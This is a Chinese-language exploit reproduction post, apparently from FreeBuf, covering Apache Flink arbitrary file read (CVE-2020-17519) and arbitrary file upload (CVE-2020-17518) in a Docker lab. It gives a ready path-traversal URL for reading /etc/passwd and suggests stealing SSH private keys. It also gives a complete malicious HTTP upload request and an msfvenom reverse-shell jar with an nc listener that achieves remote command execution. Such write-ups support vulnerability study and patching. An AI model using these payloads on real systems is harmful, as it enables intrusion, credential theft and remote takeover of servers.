Apache Flink任意文件读取(CVE-2020-17519)&& 任意文件上传(CVE-2020-17518) – 作者:Henry4E36

一、任意文件读取(CVE-2020-17519)

访问:http://your-ip:8081进入Apache Flink 控制面板:1610262786_5ffaa902b29b381ca4594.png!small

在地址栏使用poc:

http:/x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

读取/etc/passwd文件:1610262830_5ffaa92e95e28382444ad.png!small

测试中发现在读取/etc/shadow文件不可行,存在权限问题,访问会直接报错:1610263845_5ffaad25424c99d7c52ca.png!small

但是可以尝试利用任意文件读取尝试去读取/home目录下的用户的.ssh文件夹的ssh私钥来进行ssh登录,再进行提取操作。(笔者未进行尝试,各位看官可以根据这个思路探索一哈)

二、任意文件上传(CVE-2020-17518)

Apache Flink 控制面板的Submit New Job处存在任意文件上传:

1610262886_5ffaa96608ed38c5d5253.png!small

使用POC:

POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success

------WebKitFormBoundaryoZ8meKnrrso89R6Y--

1610263121_5ffaaa51910c318faa5c2.png!small

进入查看测试环境查看已经成功上传了success:

1610263294_5ffaaafe2016638eb924b.png!small

另外我们还可以上传上传jar马实现反弹监听从而进行远程命令执行

首先我们使用kali的MSF生成jar马:


msfvenom -p java/shell_reverse_tcp lhost=192.168.153.6 lport=5555 -f jar >/home/kali/Desktop/shell.jar

其中lhost为本地机器的IP,lport为反弹的端口。

1610263469_5ffaabadcaa8b87abf72c.png!small

可以看到成功生成了jar马(shell.jar)

1610263506_5ffaabd25c203be38eec3.png!small


然后本地机器新建命令行窗口,使用nc进行端口监听:nc -lvvp 5555

1610263589_5ffaac25d1a3c5f2c67ec.png!small

最后把生成的jar马通过Submit New Job模块进行上传:

1610263634_5ffaac5230cba46a90281.png!small

点击Submit即可实现jar马反弹监听:

1610263665_5ffaac71c862443b17efd.png!small

执行远程命令:

1610263696_5ffaac90f3217a55e76ac.png!small

这里看到他的启动不是root用户,更能验证任意读取文件时读取shadow文件报错,跟权限问题相关的。

1610263730_5ffaacb28f74e9a5a1277.png!small

三、结束语

本次复现均是docker本地搭建模拟攻击行为,本文章仅用于交流学习,请勿使用该漏洞进行违法活动。

docker地址

https://github.com/vulhub/vulhub/tree/master/flink/

来源:freebuf.com 2021-01-10 15:38:08 by: Henry4E36

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论